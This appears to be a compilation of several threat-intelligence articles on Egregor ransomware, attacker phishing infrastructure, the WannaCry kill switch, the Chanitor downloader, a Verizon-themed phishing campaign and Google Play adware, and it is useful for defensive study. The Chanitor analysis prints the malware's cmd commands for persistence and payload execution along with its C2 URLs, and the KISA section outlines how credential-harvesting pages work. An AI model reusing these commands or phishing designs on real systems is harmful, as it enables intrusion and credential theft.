Egregor was first observed in September 2020. It was an extremely active threat from the outset, claiming more than 130 victims in the first 10 weeks, including high-value targets in the industrial goods, retail, and transportation sectors.
### Suspected Egregor operators arrested
In February 2021, alleged Egregor operators were arrested in Ukraine following a joint investigation by French and Ukrainian police, which was coordinated by Europol. Investigators were able to track down the unnamed suspects by following the flow of bitcoins being handled by the alleged operators. According to France Inter, the arrested suspects provided hacking, logistical, and financial support for the Egregor group. On February 17, 2021, the Ukrainian Security Service confirmed an undisclosed number of arrests in connection with the Egregor operation. The group’s extortion site went offline around the time of the arrests, making it impossible for victims to pay a ransom or contact the ransomware group. It’s worth noting that the Egregor extortion site had been going offline intermittently for some time prior to the arrests, so it’s possible that the disruption is unrelated.
## Egregor ransom note
After encrypting the target system, Egregor drops a ransom note titled “RECOVER-FILES.txt” in all infected directories. The ransom note is fairly vague and contains no specific payment instructions. Instead, it instructs victims to install the TOR browser, navigate to the operators’ website, and open a live chat with the threat actors, who will then provide further instructions. The note states that stolen data will be published if no contact is made within three days. The note claims that after receiving payment, attackers will provide full decryption of all affected machines, a file listing of downloaded data, confirmation of the deletion of exfiltrated data, and complete confidentiality. Audaciously, the note also states that operators will provide paying victims with recommendations for securing their networks to prevent future breaches.
Egregor is the only ransomware family known to print ransom notes via available printers on compromised networks.
## Who does Egregor target?
Egregor targets large organizations. While the industrial goods and services sector was initially most heavily hit, enterprises across a wide range of verticals have since been impacted by Egregor. Egregor primarily targets U.S.-based organizations, although a number of companies in South America, Africa, Asia, Europe, and Oceania have also been infected. Before encrypting data on a compromised machine, Egregor checks the Default Language ID of the system and user account. The ransomware does not execute if any of the following languages are detected: Uzbek, Romanian, Azerbaijani, Turkmen, Georgian, Kyrgyz, Ukrainian, Kazakh, Tatar, Russian, Tajik, Armenian, Belarusian, Romanian.
## How does Egregor spread?
The information currently available suggests that the infection chain typically starts with a phishing email, which contains a malicious macro embedded in an attached document. Upon execution, the macro downloads commodity malware such as Qakbot, IcedID, and/or Ursnif, which are used to gain an initial toehold in the target environment. The operators of QakBot, a banking Trojan that is commonly used to drop malware onto infected networks, recently switched from dropping ProLock, another prominent ransomware strain, to dropping Egregor. Later in the attack chain, operators use Cobalt Strike to gather information, escalate privileges, move laterally across the network, and prepare the system for encryption. To exfiltrate data, operators typically use Rclone, an open-source command line program used to manage cloud storage. There have also been instances of operators using Cobalt Strike to create an RDP connection with other endpoints on the network and copying Egregor to them. It is important to note that because Egregor is a ransomware-as-a-service operated by multiple affiliates, infection methods can vary. We have heard rumors of Egregor utilizing flaws in Microsoft Exchange, VBScript Engine, and Adobe Flash Player, but these reports are still unsubstantiated.
## Major Egregor attacks
### Ubisoft
In October 2020, Egregor captured the attention of the cybersecurity industry with a high-profile attack on video game developer Ubisoft. Threat actors initially released a few hundred megabytes of data relating to in-game assets, before later releasing 560GB of source code from Ubisoft’s latest action-adventure game Watch Dogs: Legion.
### Barnes & Noble
In October 2020, Barnes & Noble was hit with Egregor. The incident forced the U.S. bookstore giant to shut down their network to stop the attack from spreading, resulting in Nook users being unable to access their eBook libraries. Threat actors claimed to have stolen financial and audit data during the attack, while email addresses, billing addresses, shipping addresses, and purchase history were also exposed on the compromised systems.
### TransLink
In December 2020, Metro Vancouver transport agency TransLink faced significant disruption after falling victim to Egregor. The attack impacted phones, online services, and payment systems, leaving commuters unable to pay for fares with credit cards or debit cards. During the incident, ransom notes were printed from TransLink printers as well as dropped digitally in infected directories.
### Randstad
In December 2020, Randstad, one of the largest recruitment agencies in the world, announced that their network had been breached by Egregor. Operators published a 32.7 MB archive of exfiltrated data, which they claimed was just 1 percent of the total data stolen during the attack. The leaked data contained a range of business documents, including financial reports, legal documents, and accounting spreadsheets.
## How to protect the network from Egregor and other ransomware
The following practices may help organizations reduce the risk of an Egregor incident.
- **Cybersecurity awareness training:** Because the majority of ransomware spreads through user-initiated actions, organizations should implement training initiatives that focus on teaching end users the fundamentals of cybersecurity. Ransomware and propagation methods are constantly evolving, so training must be an ongoing process to ensure end users are across current threats.
- **Credential hygiene:** Practicing good credential hygiene can help prevent brute force attacks, mitigate the effects of credential theft, and reduce the risk of unauthorized network access.
- **Multi-factor authentication:** MFA provides an extra layer of security that can help prevent unauthorized access to accounts, tools, systems, and data repositories. Organizations should consider enabling MFA wherever possible.
- **Security patches:** Organizations of all sizes should have a robust patch management strategy that ensures security updates on all endpoints, servers, and appliances are applied as soon as possible to minimize the window of opportunity for an attack.
- **Backups:** Backups are one of the most effective ways of mitigating the effects of a ransomware incident. Many strains of ransomware can spread laterally across the network and encrypt locally stored backups, so organizations should use a mixture of media storage and store backup copies both on- and off-site. See this guide for more information on creating ransomware-proof backups.
- **System hardening:** Hardening networks, servers, operating systems, and applications is crucial for reducing the attack surface and managing potential security vulnerabilities. Disabling unneeded and potentially exploitable services such as PowerShell, RDP, Windows Script Host, Microsoft Office macros, etc. reduces the risk of initial infection, while implementing the principle of least privilege can help prevent lateral movement.
- **Block macros:** Many ransomware families are delivered via macro-embedded Microsoft Office or PDF documents. Organizations should review their use of macros, consider blocking all macros from the Internet, and only allow vetted and approved macros to execute from trusted locations.
- **Email authentication:** Organizations can use a variety of email authentication techniques such as Sender Policy Framework, DomainKeys Identified Mail, and Domain-Based Message Authentication, Reporting and Conformance to detect email spoofing and identify suspicious messages.
- **Network segregation:** Effective network segregation helps contain incidents, prevents the spread of malware, and reduces disruption to the wider business.
- **Network monitoring:** Organizations of all sizes must have systems in place to monitor possible data exfiltration channels and respond immediately to suspicious activity.
- **Penetration testing:** Penetration testing can be useful for revealing vulnerabilities in IT infrastructure and employees’ susceptibility to ransomware. Results of the test can be used to allocate IT resources and inform future cybersecurity decisions.
- **Incident response plan:** Organizations should have a comprehensive incident response plan in place that details exactly what to do in the event of infection. A swift response can help prevent malware from spreading, minimize disruption, and ensure the incident is remediated as efficiently as possible.
## How to remove Egregor and other ransomware
Egregor uses sophisticated encryption methods that currently make it impossible to decrypt data without paying for an attacker-supplied decryption tool. Victims of Egregor should be prepared to restore their systems from backups, using processes that should be defined in the organization’s incident response plan. The following actions are recommended:
- Take action to contain the threat.
- Determine the extent of the infection.
- Identify the source of the infection.
- Collect evidence.
- Restore the system from backups.
- Ensure all devices on the network are clean.
- Perform a comprehensive forensic analysis to determine the attack vector, the scope of the incident, and the extent of data exfiltration.
- Identify and strengthen vulnerabilities to reduce the risk of a repeat incident.
|
# Introduction
The rise in hacking incidents has led to ever-more stringent security requirements and the continuous evolution of security systems to the next level. Yet, cyber incidents that were reported in the past are still being repeated today, and organizations with some of the most sophisticated cyber-defense systems are still falling victims to such attacks. The influential concept of “The Pyramid of Pain” in the sphere of cybersecurity illustrates that the most effective security systems depend on understanding the ‘tactics, techniques, and procedures’ (TTP) of the attackers. The ultimate goal of cybersecurity is to make attacks more costly and more painful for perpetrators, in other words, elevated to the ‘tough’ level shown at the top of the pyramid.
A cybersecurity system based on ‘indicators of compromise’ (IoC) still remains very efficient. However, it is also true that attackers can easily secure then discard attack infrastructures using such simple indicators. TTPs are different. The attacker cannot easily obtain or discard TTPs. An attacker who has locked onto a target needs to invest in learning and practicing TTPs to neutralize the target's security system. When moving on to the next attack, the attacker will tend to select targets on which the same TTPs can be applied. The attacker's TTPs by nature are heavily influenced by the characteristics of the targeted defense environment. As such, security practitioners must have an accurate understanding of their own defense environment. They must also approach the process and flow of attack from the strategic and tactical levels rather than as patterns or methods. In short, the defender’s security environment and the attacker’s TTPs must be scrutinized together.
A defender who understands the attacker’s TTPs should be able to answer two things: 1) ‘Would the attacker's TTPs be able to penetrate the defender's environment?’ and 2) ‘If so, what defensive strategy can defeat the TTPs?’ The Korea Internet & Security Agency (KISA) identifies cyberattack TTPs through its incident response process and disseminates the process and countermeasures using the ATT&CK framework. The various artifacts related to TTPs included in this report are merely tools to promote understanding.
# Overview
Unlike the previous reports in the TTPs series which analyzed hacked systems, this TTPs report focuses on analyzing what attackers do in preparation for launching an attack. There is a saying, “If you know the enemy and yourself, you will not be in danger even in a hundred wars.” Likewise, if you understand the attacker’s preparation process and build a strategy from a defender’s perspective in line with your systems, you can gain an advantage in the process of responding to intrusions.
Attackers make elaborate preparations in order to successfully infiltrate the target company. They create malware and a command control server to communicate with the malware. For the command control server, they may hack the server of a small company or buy a hosting server. Furthermore, they search the Internet to find vulnerability codes to use for the initial intrusion or collect information from the media or social media about key figures in the target company. They infect a system by sending a phishing email based on the collected information or infiltrate first through vulnerabilities found online.
The following figure shows the process from when the attacker acquires an infrastructure until when it is used for an attack. We analyzed the attacker’s server directly to examine the tools used by the attacker and the process of sending a phishing email in detail. As a result, we found some interesting facts about the methods used to collect information and send phishing emails. The aim of this report is to help defenders establish a defense strategy.
## Reconnaissance
In the reconnaissance stage, the attacker selects a target of attack. The attacker obtains most of the information about the target company needed for an attack, such as the email account for spear phishing and the internal personnel system of the company, through search engines and social media. Additionally, the attacker creates a phishing page and collects employees’ email account information.
### Resource Development
In this stage, the attacker constructs the infrastructure to be used in the attack. The attacker secures infrastructure that has not been exposed before for purposes of information leakage and command control. The attacker compromises the server of a small company or rents hosting or domain through virtual assets, and directly creates the malware needed for an attack. However, the attacker also prepares open hacking tools or vulnerability POC codes for flexible attacks depending on the situation. To successfully control a company from the inside, the attacker will use an account intercepted through spear phishing to look through email exchanges or check company or employee information in real time by acquiring a reliable social media account.
### Initial Access
Once the attacker obtains the necessary information, infrastructure, and resources, he or she will attempt initial access. During initial access, an attacker will often use spear phishing emails with malicious codes or links. Furthermore, an attacker acquires information about and vulnerabilities of the open software used in the target company to use for intrusion.
### Execution
The CMD commands desired by the attacker are carried out through remote control malware and additional malware are executed.
### Persistence
Remote control malware that infects a PC contains an automatic execution function through registry registration. Consequently, the malware is executed whenever the PC is booted.
### Credential Access
To steal account information, the attacker uses key logging, password dump programs, and password-saved file stealing. The attacker uses a self-developed, proprietary program to bypass and compromise accounts with two-factor authentication such as OTP.
### Defense Evasion
The attacker minimizes exposure by disguising the addresses of malware and attacker servers. The attacker encrypts malware using a proprietary encryption tool to bypass detection by security tools including anti-virus software.
### Lateral Movement
To spread malware internally, the attacker attempts lateral movement by using information collected or sending phishing mails impersonating internal employees using information stolen in advance.
### Collection
To collect internal information of a company, the attacker steals additional account information using key logging of a remote control malware in an infected PC or periodically checks the status of the victim PC using screen capture function. Furthermore, the attacker manages the information of the stolen email accounts as a file or using a mail management solution.
### Exfiltration
To minimize traffic exposure when data is exfiltrated outside the company, the data is divided and exfiltrated if it is larger than a certain size.
## Phishing Action Structure for Reconnaissance
In order to collect and access internal information, the attacker secures an unknown attacker server and sets the target for the attack through searches online and of social media. Additionally, the attacker sends a phishing email to the target and collects additional information using user information stolen through the phishing email. Stealing user information and collecting additional information can be considered as part of the reconnaissance stage. This chapter describes the detailed operational method and structure of how the attacker performs the reconnaissance stage through a phishing email.
The following figure is a schematic diagram of an attacker sending a phishing email for reconnaissance and collecting information. The types of information collection and phishing pages that operate in connection with phishing emails can be classified into four types: type A operates using a self-developed, proprietary bot program; type B uses PHProxy open source to collect information; type C sets the language of the page exposed to attack targets, and type D performs a phishing attack considering the target’s corporate environment, for example disguising itself as a general company's login page. The detailed operation structure for each type is described on the following pages.
### Type A (bot program)
The first case describes the structure of collecting victim accounts using a proprietary bot program. The phishing email recipient who clicks on the link in the email (config.php, mobile_detect.php) is directed to a page which was created to look like the victim’s user environment, such as a login page or change password page. When the victim enters his or her account information on the phishing site, the attacker bot program monitoring the server collects the information. In the type A process, the bot program logs into the account with the transmitted information and acts as the 'main axis’ for stealing information.
The procedure for collecting information through a phishing email is as follows. The information delivered from the phishing mail is sent to the index.php running on the attacker server, and each page operates organically thereafter. The account information entered by the victim is finally delivered to the bot running on the attacker's server. The bot program accesses the portal account with the received parameter information, steals the account, and logs in. Afterwards, it logs in through the account leaked to the attacker server and maintains the session. The value input from the page_[].php page is transmitted to the attacker server (ip:port) stored in config.php through pxy.php. The bot program running in the attacker server monitors port 9100 and parses the information received via the port 9100.
The information received by the bot program through the http 9100 port contains the following information, of which the following operation modes can be performed through the 'type' value.
### Type B (PHProxy)
The type B phishing page was created by modifying part of the PHProxy open source. The PHProxy works like a proxy server, and the victim can mistakenly think that he or she is accessing the actual portal site. The PHProxy code is set as index.php. In addition, parameter values during communication are defined in config.php, and information for account interception and information on a normal page to be accessed through a proxy is passed as a factor to the ‘u=’ value. The parameter information set for account stealing is linked to the page corresponding to each value according to the parameter information of the target. Depending on each received value, the user can download a specific file or be directed to the login page where their information will be stolen.
### Type C (language check)
The type C phishing page is a page created by an attacker, and the page shown to the victim through the parameter values received from the phishing email shows English or Korean pages. It is believed that the phishing email must have been distributed not only in Korea, but also overseas, or to domestic companies that have overseas operations, and the general public. To check the two-factor authentication method, the attacker attempts to log in to the normal page through the ID password collected through a phishing email. When attempting to log in, the two-factor authentication method is checked through the STP value among the values requested. If the received values contain an STP value, it is two-factor authentication. If STP = 1, it is a basic authentication method using an ID and password.
### Type D (others)
When an attacker sends a phishing email to a specific company other than the portal site, it sends a modified email tailored to the company based on the 'C type' code. In addition, the login page exposed as a phishing email is created to look the same as the corporate login page. This phishing page is exploited as a step to leak internal documents of a company and enable initial access. The parameters initially transmitted through phishing mails are as follows, and the target ID is encoded in Base64 and then transmitted.
|
# Related Posts
MalwareTech
May 13, 2017
So finally I’ve found enough time between emails and Skype calls to write up on the crazy events which occurred over Friday, which was supposed to be part of my week off (I made it a total of 4 days without working, so there’s that). You’ve probably read about the WannaCrypt fiasco on several news sites, but I figured I’d tell my story.
I woke up at around 10 AM and checked onto the UK cyber threat sharing platform where I had been following the spread of the Emotet banking malware, something which seemed incredibly significant until today. There were a few of your usual posts about various organisations being hit with ransomware, but nothing significant…yet. I ended up going out to lunch with a friend, meanwhile the WannaCrypt ransomware campaign had entered full swing.
When I returned home at about 2:30, the threat sharing platform was flooded with posts about various NHS systems all across the country being hit, which was what tipped me off to the fact this was something big. Although ransomware on a public sector system isn’t even newsworthy, systems being hit simultaneously across the country is (contrary to popular belief, most NHS employees don’t open phishing emails which suggested that something to be this widespread it would have to be propagated using another method). I was quickly able to get a sample of the malware with the help of Kafeine, a good friend and fellow researcher. Upon running the sample in my analysis environment I instantly noticed it queried an unregistered domain, which I promptly registered.
Using Cisco Umbrella, we can actually see query volume to the domain prior to my registration of it which shows the campaign started at around 8 AM UTC. While the domain was propagating, I ran the sample again in my virtual environment to be met with the WannaCrypt ransom page; but more interestingly was that after encrypting the fake files I left there as a test, it started connecting out to random IP addresses on port 445 (used by SMB). The mass connection attempts immediately made me think exploit scanner, and the fact it was scanning on the SMB port caused me to look back to the recent ShadowBroker leak of NSA exploits containing an SMB exploit. Obvious I had no evidence yet that it was definitely scanning SMB hosts or using the leaked NSA exploit, so I tweeted out my finding and went to tend to the now propagated domain.
Sample I found scans SMB after dropping WannaCrypt. Can anyone confirm it's the same thing? P2P spreading ransomware would be significant.
— Marcus Hutchins (@MalwareTechBlog) May 12, 2017
Now one thing that’s important to note is the actual registration of the domain was not on a whim. My job is to look for ways we can track and potentially stop botnets (and other kinds of malware), so I’m always on the lookout to pick up unregistered malware control server (C2) domains. In fact, I registered several thousand of such domains in the past year.
Our standard model goes something like this:
1. Look for unregistered or expired C2 domains belonging to active botnets and point it to our sinkhole (a sinkhole is a server designed to capture malicious traffic and prevent control of infected computers by the criminals who infected them).
2. Gather data on the geographical distribution and scale of the infections, including IP addresses, which can be used to notify victims that they’re infected and assist law enforcement.
3. Reverse engineer the malware and see if there are any vulnerabilities in the code which would allow us to take over the malware/botnet and prevent the spread or malicious use, via the domain we registered.
In the case of WannaCrypt, step 1, 2 and 3 were all one and the same, I just didn’t know it yet.
A few seconds after the domain had gone live I received a DM from a Talos analyst asking for the sample I had which was scanning SMB hosts, which I provided. Humorously at this point we had unknowingly killed the malware so there was much confusion as to why he could not run the exact same sample I just ran and get any results at all. As curious as this was, I was pressed for time and wasn’t able to investigate, because now the sinkhole servers were coming dangerously close to their maximum load.
I set about making sure our sinkhole servers were stable and getting the expected data from the domain we had registered (at this point we still didn’t know much about what the domain I registered was for, just that anyone infected with this malware would connect to the domain we now own, allowing us to track the spread of the infection). Sorting out the sinkholes took longer than expected due to a very large botnet we had sinkholed the previous week eating up all the bandwidth, but soon enough I was able to set up a live tracking map and push it out via Twitter.
Around 6:23 PM (BST) I asked an employee to look into the worm code and verify the domain we registered would not change (some malware will periodically change the domain using an algorithm, so we needed to know if there would be new domains so we could register those too), meanwhile I performed some updates to the live map to deal with the rapid influx of new visitors.
After about 5 minutes the employee came back with the news that the registration of the domain had triggered the ransomware meaning we’d encrypted everyone’s files (don’t worry, this was later proven to not be the case), but it still caused quite a bit of panic. I contacted Kafeine about this and he linked me to the following freshly posted tweet made by ProofPoint researcher Darien Huss, who stated the opposite (that our registration of the domain had actually stopped the ransomware and prevented the spread).
#WannaCry propagation payload contains previously unregistered domain, execution fails now that domain has been sinkholed
— Darien Huss (@darienhuss) May 12, 2017
Having heard two conflicting answers, I anxiously loaded back up my analysis environment and ran the sample…nothing. I then modified my host file so that the domain connection would be unsuccessful and ran it again…RANSOMWARED.
Now you probably can’t picture a grown man jumping around with the excitement of having just been ransomwared, but this was me. The failure of the ransomware to run the first time and then the subsequent success on the second meant that we had in fact prevented the spread of the ransomware and prevented it ransoming any new computer since the registration of the domain (I initially kept quiet about this while I reverse engineered the code myself to triple check this was the case, but by now Darien’s tweet had gotten a lot of traction).
So why did our sinkhole cause an international ransomware epidemic to stop? Talos wrote a great writeup explaining the code side here, which I’ll elaborate on using Darien’s screenshot. All this code is doing is attempting to connect to the domain we registered and if the connection is not successful it ransoms the system; if it is successful the malware exits (this was not clear to me at first from the screenshot as I lacked the context of what the parent function may be doing with the results).
The reason which was suggested is that the domain is a “kill switch” in case something goes wrong, but I now believe it to be a badly thought out anti-analysis. In certain sandbox environments, traffic is intercepted by replying to all URL lookups with an IP address belonging to the sandbox rather than the real IP address the URL points to. A side effect of this is if an unregistered domain is queried it will respond as if it were registered (which should never happen).
I believe they were trying to query an intentionally unregistered domain which would appear registered in certain sandbox environments, then once they see the domain responding, they know they’re in a sandbox; the malware exits to prevent further analysis. This technique isn’t unprecedented and is actually used by the Necurs trojan (they will query 5 totally random domains and if they all return the same IP, it will exit); however, because WannaCrypt used a single hardcoded domain, my registration of it caused all infections globally to believe they were inside a sandbox and exit…thus we initially unintentionally prevented the spread and further ransoming of computers infected with this malware. Of course now that we are aware of this, we will continue to host the domain to prevent any further infections from this sample.
One thing that is very important to
|
# Chanitor Downloader Actively Installing Vawtrak
We at ThreatLabZ are keeping an eye on a fairly active downloader called Chanitor. This malware is being delivered via phishing emails purporting to be "important" documents, for example, voicemails, invoices, and faxes; all are actually screensaver executables with the extension ‘.scr’. Another unique feature of this downloader Trojan family is the usage of tor2web.org and tor2web.ru over SSL for its Command & Control (C2) communication.
Upon execution, Chanitor copies itself to ‘%APPDATA%\Roaming\Windows\winlogin.exe’ by running the following command:
```
cmd /D /R type "C:\<path-to-binary>\winlogin.exe" > ___ && move /Y ___ "C:\Users\<username>\AppData\Roaming\Windows\winlogin.exe"
```
It then waits for a few seconds before deleting the original file, and executes the copy via the following command:
```
cmd /D /R ping -n 10 localhost && del "C:\<path to original exe>" && start /B "" "C:\Users\<username>\AppData\Roaming\Windows\winlogin.exe" && exit
```
Once the command executes, it creates a registry entry for persistence. Chanitor encrypts some key components like C2 server locations that are decrypted only when used at runtime. For example, "tor2web.org" is decrypted using a xor loop.
The next step is enumeration of functions for making outbound SSL connections and making connections to the command and control server. These connections are shown in the screenshot below. The first connection is to retrieve the public IP of the infected host. The success or failure of this request isn’t checked though, so the next request happens regardless. This request is a beacon to the command and control server on TOR via tor2web.org. Chanitor uses SSL for all communication and beacons via POST requests to /gate.php. If the request is successful, the C2 server will provide further instructions which during our analysis was to download additional binary payload.
Once the download finishes, there is a subsequent beacon which presumably means success. Strangely enough, there is a failed request to tor2web.ru. This domain does not exist, so the purpose of this request is unknown.
Each beacon takes the following form:
```
{<MALWARE GENERATED UNIQUE IDENTIFIER>}<SHORT STRING><4 SPACE PADDING>}<USERDOMAIN><58 SPACE PADDING>}<IP ADDRESS>
```
If the request to api.ipify.org is unsuccessful, the IP address will be the machine's RFC1918 address instead of a public IP. The C2 server replies with an instruction to download a file and the download is initiated immediately. The beacon information, with the exception of the IP address, is also stored in the registry.
After downloading and reporting success, the original binary will then sleep for approximately 5 minutes (there's some variation for slightly longer and slightly shorter) before beaconing again.
## Downloaded Binary
The downloaded binary is a dropper Trojan and is saved as `C:\Users\<username>\AppData\Local\Temp\__<4 alphanumeric characters>.exe`. Chanitor will run the downloaded payload via the following command:
```
cmd /D /R start /B "" "C:\Users\<username>\AppData\Local\Temp\___16AE.exe" && exit
```
Upon execution, the binary checks for the presence of a debugger. If no debugger is found, the binary then unpacks an embedded DLL and writes it to disk. This DLL is a new variant of the Vawtrak Trojan.
The DLL is registered with regsvr32.exe via the following command to ensure persistence. The Vawtrak dropper Trojan then deletes itself from the target system. The Vawtrak dropper binary and the DLL are compressed using aPLib v1.01 library.
Vawtrak, also known as NeverQuest and Snifula, is a powerful information stealing backdoor Trojan that has been gaining momentum over the past few months. It primarily targets users' bank accounts via online banking websites.
## Indicators of Compromise
### C2 Domains
- `https://svcz25e3m4mwlauz.tor2web[.]org/gate.php`
- `https://ho7rcj6wucosa5bu.tor2web[.]org/gate.php`
- `https://o3qz25zwu4or5mak.tor2web[.]org/gate.php`
- `https://lctoszyqpr356kw4.tor2web[.]org/gate.php`
### File Locations
- `C:\Users\<username>\AppData\Roaming\Windows\winlogin.exe`
- `C:\ProgramData\TigaPjopw\VofcOhhel.zvv` -- these names appear random
- `C:\Users\<username>\AppData\Local\Temp\~004BFD62.tmp` -- this name appears random
- `C:\Users\<username>\AppData\Local\Temp\___16AE.exe` -- this name appears random
## Conclusions
The samples collected date back to the beginning of October 2014 and have changed in measurable ways over the past few months. The first samples would not run on Windows 7 unless in compatibility mode, required administrative privileges, and did not have icons that matched the purported filetype or theme, but the recent samples have evolved to run without errors and appear to be more refined. We attempted to contact tor2web at [email protected] and at [email protected] and received bouncebacks followed a few days later by a delivery failure notification. Since the C2 servers are hosted on TOR, tracking the individuals behind this campaign may prove difficult, but blocking access to tor2web would be effective for the time being.
|
# Fresh Phish: Phishers Get Clever, Use Math Symbols for Verizon Logo
Posted by Roger Kay
A large category of phishing attacks comes under the heading of brand impersonation. The idea is to fool an email recipient into interacting with what they think is a known and trusted brand. Recently, data analysts at INKY began to see a pattern of attacks impersonating Verizon, the large U.S.-based telecommunications provider. What made these attacks interesting was their use of mathematical symbols as part of the Verizon logo.
Despite all the money major brands spend on logo design, people are terrible at remembering them. This fluke of human nature plays well into the hands of phishers, who can deceive their victims with made-up logos that look about right. Their graphics may be off, but they do the job. It probably helped the phishers that Verizon has changed its logo a couple of times since Bell Atlantic Corporation was renamed Verizon in 2000.
INKY, which provides anti-phishing technology, detected this Verizon impersonation campaign in dozens of fake emails sent from various Gmail addresses during a two-week period between September 1-13, 2021.
## Quick Takes: Attack Flow Overview
- **Type:** phishing
- **Vector:** several “freemail" accounts, newly created web domain
- **Payload:** malicious link to credential harvesting site
- **Techniques:** brand impersonation
- **Platform:** Office365
- **Target:** Microsoft users
## The Attack
Although Verizon's current logo makes use of a bright red, asymmetrical “V” after the word “Verizon” (which is all lower case in bolded black sans serif), that "V" element does look rather like a checkmark. INKY found three fake logo variants in the wild. Each made use of a mathematical symbol for the red element. The three impersonations reproduced that element via:
- a square root symbol,
- a logical NOR operator, and
- the checkmark symbol itself.
All three types masqueraded as voicemail notifications. Verizon does provide voicemail services, including notifications. Clicking on the button (black or red, depending on the version) prominently displaying the text “Play >” led to a site that appeared to be Verizon's, but was in fact a malicious impersonation. The phishers were easily able to steal separate HTML and CSS elements from Verizon’s real site to put together a custom job that included a correct version of the logo!
The bad guys created and registered the fake site — sd9-08[.]click — via Namecheap barely a month ago, according to a WHOIS lookup. Namecheap has since taken it down. It now has an NXDOMAIN status, which essentially means it doesn't exist anymore.
At the bottom of the fake page, targets were invited to “play, listen, or download” their voicemail with Office365 credentials. Using the red “Authenticate with Office365” button led to a fake Microsoft login dialog box.
An INKY analyst entered fake credentials into the fake login to assess the site. The first attempted login received a response that the password was incorrect. The second attempt elicited a bogus error message. However, the credentials were harvested both times on the backend. This pattern, the double ask, is fairly common. It’s not entirely clear what the phishers are up to, but it's possible that they want the victim to confirm the correctness of the data, or that they hope the victim will try a different account, yielding them two sets of credentials for the price of one.
## Techniques
The phishers sent phishing emails from Gmail accounts because they were able to pass standard email authentication (SPF, DKIM, and DMARC). The malicious site was brand new and presented zero-day vulnerabilities; they had never been seen before and did not appear in threat intelligence feeds commonly referenced by legacy anti-phishing tools. Without a blemish, this site did not look malicious.
### Recap of Techniques:
- **Brand impersonation:** uses brand elements, in this case Verizon's, in phishing emails and a malicious site, which also impersonated Microsoft brand elements
- **Credential harvesting:** occurs when a victim tries to log into what they think is a real Microsoft site but enters credentials into a form controlled by the phishers
- **Newly created domains:** are used by phishers to pass most security software tests, allowing phishing emails to slip past corporate defenses and into hapless recipients’ inboxes
## Best Practices: Guidance and Recommendations
Email recipients are advised to be suspicious of voicemail notifications coming from Gmail or other free email providers such as Yahoo, AOL, or Hotmail. They should also distrust emails that claim to be from Verizon but come from a Gmail sender.
Also, in many cases, they can look at the URL of a site that purports to be Verizon to see whether Verizon actually hosts it. This type of analysis will sometimes lead to false positives if a large company uses a smaller firm for marketing support. They should also be wary if a site asks them to enter Microsoft credentials to view notifications from Verizon (or any other brand).
INKY reported this flurry of phish to Verizon’s [email protected] address. Although this particular campaign is over, anyone receiving a similar email in the future can report it to that address with their name and account, and phone numbers. Verizon also sent INKY a link to a general security question page, where the company addresses the broader scam landscape.
Fresh Phish examples were discovered and analyzed initially by Bukar Alibe, Data Analyst, INKY.
This article is part of our Fresh Phish series, featuring some of our most interesting phish caught by INKY.
## About INKY
Headquartered in College Park, Maryland, INKY leads the industry in mail protection powered by unique computer vision, artificial intelligence, and machine learning. The company’s flagship product, INKY Phish Fence, uses these novel techniques to “see” each email much like a human does, to block phishing attacks that get through every other system. INKY founder Dave Baggett also co-founded ITA Software, the industry-leading airfare search company purchased by Google in 2011 for $730M, which now powers Google Flights®.
|
# Fake Users Rave but Real Users Rant as Apps on Google Play Deal Aggressive Adware
Bitdefender researchers recently stumbled across 13 Google Play applications packing aggressive ads and potentially using over 1,000 fake reviews to gain a cumulative download count of over half a million. While fake online reviews may be punishable by the FTC with millions of dollars, it’s interesting that, while some of the analyzed apps only got a dozen or so reviews, one in particular has even passed 1,000 reviews. Ironically, the developer behind the apps seems to be taking an interest in negative and very emotional reviews of three stars and below, even though many of the answers follow the same template. Taking things to a new level, some of the five-star reviews even collect over 100 “Helpful” ratings, potentially from the same fake accounts – spam bot network.
It may not be the first time security researchers stumble across Google Play applications with aggressive adware that manage to trick their way into Google’s app playground, but this time the developer behind the applications seems to have placed more focus on building positive fake reviews to draw downloads. Apps bundled with aggressive adware are often spotted by users and end up collecting tons of negative reviews before being booted out.
The below analysis performed by Bitdefender researchers on the 13 apps found in Google Play mostly focuses on the capabilities the aggressive adware features as well as finding forensic evidence that potentially ties them all to a single developer. The analysis also revealed that the adware SDK packs a privacy-intrusive permission that allows the apps to read all notifications. This could enable the developer(s) to collect contact details, text messages, and OTPs that are used to pass MFA. Although the apps analyzed did not trigger the permission, the code is present in some of the analyzed samples.
## Key Findings:
- New aggressive adware family, also found in 13 Google Play apps
- Use of fake reviews and ratings to attract hundreds of thousands of downloads
- Adware SDK packs privacy-intrusive permission to read all notifications
- Potentially same developer behind all investigated Google Play apps
## Down the Rabbit Hole
A previously undiscovered yet highly aggressive adware campaign has recently been found in applications still available in the Google Store and other markets. The apps’ categories are a mix of common utility apps, ranging from music and video players to file downloaders and social media aggregators.
While ads are not inherently bad, and give the app authors a way to make income without requesting a payment from everyone who uses their apps, when the developers go overboard with their ad usage it becomes inconvenient to the user, eventually surpassing the worth of the application in time and annoyance.
Whilst the ratings are generally good, between 3 and 4.5 stars on Google Play’s 5-star rating system, something seems fishy with a quick look at the reviews: A high number of short, general and mostly 5-star reviews usually indicates that the app developers might be using a fake review-generation system. While this is only speculation, the act of faking reviews is punishable by the FTC, and fines can reach millions of dollars. This is a known problem for Google Play and these apps would be neither the first nor the last apps to increase their chances of getting popular more quickly and easily. After all, if most reviews are great, it must mean the app is worth it.
A quick look at the reviews of users who actually used the application before leaving a comment reflects its real behavior much better.
## Applications and Connections
The applications are the following:
| Package Name | Application Name | Installs |
|------------------------------------------------|---------------------------------------------------|------------|
| com.downloader.getvideofastss | Video Downloader – Download Social Platform Video | 100,000+ |
| com.anymail | Full Email App – Fast Email access for all Mail | 100,000+ |
| com.savers.insta | InsSaver – video & image downloader for Instagram | 100,000+ |
| com.getVideo.mediagetall | Fast Downloader – Download social videos | 100,000+ |
| com.launcherj.quick | Messenger for all Social apps – New Messages | 50,000+ |
| com.downloadmanager.filemanager | File download manager | 50,000+ |
| com.musics.videos.aaplayers | Music Video Player – All format player | 10,000+ |
| com.media.musicsvideos.players | Media Player All Format – HD Video Player | 10,000+ |
| com.privacymsger.social | New Messenger for all messaging & social app | 5,000+ |
| com.satatusdownload.saverstatus | Status Saver | 1,000+ |
| launchserfor.apps | Quick Launcher For Apps | 1,000+ |
| com.parallaxcolor.fourdx | 4D Parallax Live Wallpaper – 4K Backgrounds HD | 1,000+ |
| com.wallpaperlive.fourd | 4D Parallax Wallpaper HD – Color live background | 100+ |
The applications are published by nine separate developers although we believe there is in fact only one developer due to several connections between the samples. One presumption is that this is done to avoid all of them being taken down if any fraudulent or unwanted behavior from any one developer is found.
### Developer Names and Email Addresses
- circRodg.57.543: [email protected]
